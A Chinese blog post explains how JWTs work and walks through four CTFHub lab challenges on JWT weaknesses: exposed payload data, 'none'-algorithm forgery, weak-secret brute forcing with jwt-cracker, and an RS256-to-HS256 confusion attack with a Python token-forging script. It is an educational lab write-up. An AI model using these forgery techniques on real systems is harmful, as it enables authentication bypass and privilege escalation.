也是很久没写文章了,最近也是在探索着一些新东西;今天还是老样子,随便写点给大家
文章目录
-
- [JWT 是什么:自带信息的"电子通行证"](#JWT 是什么:自带信息的“电子通行证”)
-
- [JWT 的核心原理:三段式结构](#JWT 的核心原理:三段式结构)
- JWT有什么好处?
- 第一关:敏感信息泄露
- 第二关:无签名
- 第三关:弱密钥
- 第四关:修改签名算法
- 总结
JWT 是什么:自带信息的"电子通行证"
在传统的 Web 应用中,用户登录后,服务器通常会生成一个 Session(会话)并保存在服务器端,然后给客户端发一个简短的 Session ID。而 JWT 则完全换了一种思路:它是目前最流行的跨域身份验证方案,你可以把它理解为一张自带所有必要信息的"电子通行证"。
用户登录成功后,服务器会签发一个 JWT 并交给客户端。之后客户端每次向服务器请求数据时,都会出示这张通行证。服务器不需要去数据库里查这个用户到底是谁,只要验证这张通行证是真的,就可以直接放行。
JWT 的核心原理:三段式结构
一个完整的 JWT 看起来就像一串乱码,但实际上它由三个部分组成,中间用英文句号(.)隔开,格式为:Header.Payload.Signature

1. Header(头部)
这部分就像通行证的封面,主要声明了两件事:这个令牌的类型是 JWT,以及后面生成签名所使用的是什么加密算法(例如 HMAC SHA256)。
bash
# 组成部分 ------ 解码后
{
"alg": "HS256",
"typ": "JWT"
}
2. Payload(负载)
这是真正存放有效信息的地方,比如用户的 ID、用户名、权限角色,以及这个令牌的过期时间。
bash
# 组成部分 ------ 解码后
{
"sub": "1234567890",
"name": "CTFHub",
"iat": 1516239022
}
关键提醒: 这里的载荷数据只是经过了 Base64 编码,任何人都可以解码查看。因此,绝对不要在 Payload 中存放密码等敏感信息。
3. Signature(签名)
这是 JWT 防伪的灵魂所在。服务器会把前面编码好的 Header 和 Payload 拿出来,加上一个只有服务器自己知道的密钥(Secret),然后用 Header 中指定的算法计算出一个哈希值。这个签名就像是盖在通行证上的防伪钢印,任何人如果篡改了中间的 Payload 数据,因为不知道服务器的密钥,就无法伪造出正确的签名。
bash
# 组成部分 ------ 解码后
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)
JWT有什么好处?
JWT 最大的魅力就在于无状态(Stateless)。
在 JWT 的机制下,服务器变成了一个"只认钢印不记人"的门卫。服务器不需要在内存或数据库里专门腾出空间来记录哪些用户登录了,所有的身份信息都在那串 Token 里。
这就意味着,当你的应用访问量激增,需要增加多台服务器来分担压力时,不需要去处理复杂的 Session 同步问题------只要这些服务器共享同一个密钥,任何一台服务器都能独立验证用户的 JWT。这极大地降低了分布式系统的架构复杂度。
光说概念肯定无法理解,这里给大家带简单实战一下:
- Web应用安全与防护(四)
- 这里找了很多个靶场,发现
ctfhub刚好有JWT部分,所有就用里面的几道题来演示一下;- 大家也可以去看一下官方的文章介绍:JWT基础知识
第一关:敏感信息泄露
JWT 的头部和有效载荷这两部分的数据是以明文形式传输的,如果其中包含了敏感信息的话,就会发生敏感信息泄露。
我们打开靶场,用BP或者Yakit抓包看一下里面的结构:

这里我们可以看到响应包存在一个"很熟悉"的字符串(具体可以看之前的介绍):
bash
eyJBRyI6IjE1ZTE3ZDY0NzI4Zjk0Mn0iLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjMiLCJGTCI6ImN0Zmh1YnswNTYzYmY2NmEifQ.
我们知道其为Base64编码,所以分别对他们进行解码,得到结果:
(1)第一部分:

(2)第二部分:可以看到出现了部分的flag

(3)第三部分:需要密钥key

本关再次阐述了:JWT 默认是不会对 Payload 加密的,也就意味着任何人都可以读到这部分JSON的内容,所以不要将私密的信息放在这个部分。
第二关:无签名
一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证。尝试找到 flag。

还是熟悉的页面,所以还是对其进行抓包:

从返回的结果我们可以看到,当前用户admin是guest身份,所以无法获取flag;
那我们还是老样子,将获取的JWT进行解码:
bash
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjMiLCJyb2xlIjoiZ3Vlc3QifQ.Gj5LcMKKCyWHpGmZHhUAzchUQp_9Lwp7LkM2O5g1Cso
(1)第一部分:

将Header里面的alg置为空 ,即使用none:

(2)第二部分:

这里我们将"guest" 换成 "admin "之后,再将第三部分signnature部分删除即可

再重新放到BP,成功获得flag;

第三关:弱密钥
如果JWT采用对称加密算法,并且密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥。尝试获取flag
这里我们直接使用工具 jwt-cracker来对获取的JWT凭证进行爆破:

将其上传到Linux机器,执行一下命令:
bash
make
# 执行命令
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IjEyMyIsInBhc3N3b3JkIjoiMTIzIiwicm9sZSI6Imd1ZXN0In0.o9boK4ah_GvPzYEW68Iup4BRQoi87kOmCzvFqcZ7TpI
成功得到弱密钥key:

随后再打开 https://www.jwt.io/

得到flag:

第四关:修改签名算法
有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的。
这里我们打开靶场,访问 /publickey.pem,得到公钥:

随后修改你自己的公钥,执行下述代码:
python
import hmac
import hashlib
import base64
key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwXdbl2hs2mdxlCo5+5Ux
iMiC1s4GltNuxawMcxo53UZnNIuKZfVtcUrLCZPMp9ne2iOWNbPswBRlfuhOjxTI
f6LCc725zSpM85jL5YENoeyku94FOkdWaIgRzmDOxOCXA3tLxes+b8hleMtSAl6f
dQIQ4od0nYLDxMYZsO0WfJzPab8T61CaZeDcMdbKYZ/gkXvQ2sKvZUNdx9j1h+MO
JEJYjJU1auZKNrrgSS1pujEvh0m+hXUWZclOiGD76IFWsm2EuwwwE9u+EJ5WG+9a
Llf/UvnuEHjuoGKU0HqQiOpcNgQQAHjyNvxQ591hKbdkLFSn2Gohmb/mldr5iwcb
0wIDAQAB
-----END PUBLIC KEY-----
"""
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "root", "role": "admin"}'
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")
token = (encodeHeader + "." + encodePayload)
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")
print(token + "." + sig)
得到生成的 JWT 凭证:
bash
eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJyb290IiwgInJvbGUiOiAiYWRtaW4ifQ.Oekuxqn103GN2IVAyzG2GcwYkAbCKqJ3-Vz3-ObgR34
将其进行重放即可:


总结
JSON Web Token (JWT) 是一种基于JSON的无状态认证方案。本文将首先阐明JWT的核心概念、三段式结构及其技术优势;随后重点剖析其实际部署中的四类典型安全风险:敏感信息泄露、无签名漏洞、弱密钥爆破及签名算法篡改,为开发者提供规范的安全实践参考。